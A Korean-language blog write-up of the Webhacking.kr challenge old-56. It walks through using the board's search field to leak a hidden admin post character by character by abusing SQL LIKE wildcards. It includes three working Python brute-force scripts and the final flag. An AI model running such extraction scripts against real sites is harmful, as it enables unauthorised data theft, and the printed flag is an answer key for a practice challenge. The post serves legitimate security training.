본문 바로가기
Web/Webhacking.kr

Webhacking.kr Challenge old-56 문제 풀이

by jh117jh 2024. 2. 19.
728x90

문제에 들어가 보면 검색기능과 게시판들이 보인다.

 

아마 sql injection으로 보인다.

먼저 admin으로 작성된 글을 읽으려 하면

접근이 거부된 걸 볼 수 있고

guest로 작성된 글은 hello~라는 글이 적힌 걸 볼 수 있다.

 

이제 검색 기능을 통해 admin에 적힌 글을 읽으면 해답을 찾을 수 있을 것 같다.

검색 기능을 이용해 보니 

 

각각 hello와 guest를 적었을 때 차이점이 보이는 걸로 보아 검색기능은 글의 내용을 바탕으로 이루어지는 것 같다.

 

우선 다른 문제들과 다르게 소스코드가 없고 문제가 풀리는 조건이 없는 걸로 보아 flag를 제출하는 문제 같은데

flag제출 예시를 보면 FLAG {~~~} 형식으로 이루어지는 걸 알 수 있다. 

이걸 토대로 FLAG를 검색해 보면 

admin 글이 출력되는 걸로 보아 글 안에 FLAG가 존재하는 걸 알 수 있다.

 

일단 글의 내용이 포함되었을 때 admin글이 출력되므로 blind sql injection을 시도해 봤다.

 

import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{!@#$%^&*"
flag = "flag{"
pw = ""
for i in range(1,100):
    print(i)
    for j in string:
        datas= {
        "search" : f"{flag+j}",
        }
        res=requests.post(url,data=datas,cookies=cookies)
    
        if "admin" in res.text:
            flag+=j
            print("flag:",flag)
            break

        
        
print("flag:",flag)

 

처음 시도한 코드는 숫자, 영어, 특수문자등을 넣어 출력해 봤는데

 

출력되는 값을 보니 FLAG값도 이상할 뿐더러 FLAG값이 끝나도 뒤에 %가 계속 붙는 걸 볼 수 있다.

 

이로 인해 sql문이 like로 작성되어 와일드카드가 쓰이는 게 아닌가 예상했다.

와일드카드는 이전에 풀어본 문제에서 볼 수 있는데

https://jh-hack.tistory.com/32

 

Lord of SQL Injection 15단계 (assassin)

이번에 처치할 몬스터는 assassin! 이번 코드를 보면 보기엔 너무 간단해 보였다. 딱 보자마자 id를 admin으로 바꿔주면 되는 거 아닌가 했는데 싱글쿼터(')가 필터링되어 있어서 어떻게 해야 되나 한

jh-hack.tistory.com

 

일단 FLAG의 전체적인 틀을 잡기 위해 해당위치의 문자를 나타내는 와일드카드인 _를 사용해요 출력해 봤다.

import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{_" #다른 특수문자 삭제 및 와일드카드 _추가
flag = "flag{"
pw = ""
for i in range(1,100):
    print(i)
    for j in string:
        datas= {
        "search" : f"{flag+j}",
        }
        res=requests.post(url,data=datas,cookies=cookies)
    
        if "admin" in res.text:
            flag+=j
            print("flag:",flag)
            break

        
        
print("flag:",flag)

 

FLAG값 뒤에 계속 출력되지 않는 걸로 보아 와일드카드가 맞았고 이제 _자리에 어떤 문자가 들어갈지 찾아야 된다.

import requests
import time
import threading
url="https://webhacking.kr/challenge/web-33/index.php"
cookies={"PHPSESSID":"cdit8fu4eksjl2jskf741acu0q"}
string="0123456789abcdefghijklmnopqrstuvwxyz}{#*-?@!$^)(][_" #flag값에 영향을 주는 %를 제외한 특수문자 추가
flag = "flag{"
pw = ""
for i in range(1,100):
    print(i)
    for j in string:
        datas= {
        "search" : f"{flag+j}",
        }
        res=requests.post(url,data=datas,cookies=cookies)
    
        if "admin" in res.text:
            flag+=j
            print("flag:",flag)
            break

        
        
print("flag:",flag)

 

%는 와일드카드에서 개수와 상관없이 모든 문자를 뜻하므로 flag값에 영향을 줘 제외했다.

출력값을 보면 중간에 _가 들어가 있는 걸로 보아 이건 와일드카드가 아니라 문자형식으로 사용된 것을 알 수 있다.

 

flag{himiko_toga_is_cute_dont_you_think_so?}

 

 

flag 제출 시 정답인걸 확인할 수 있다.

728x90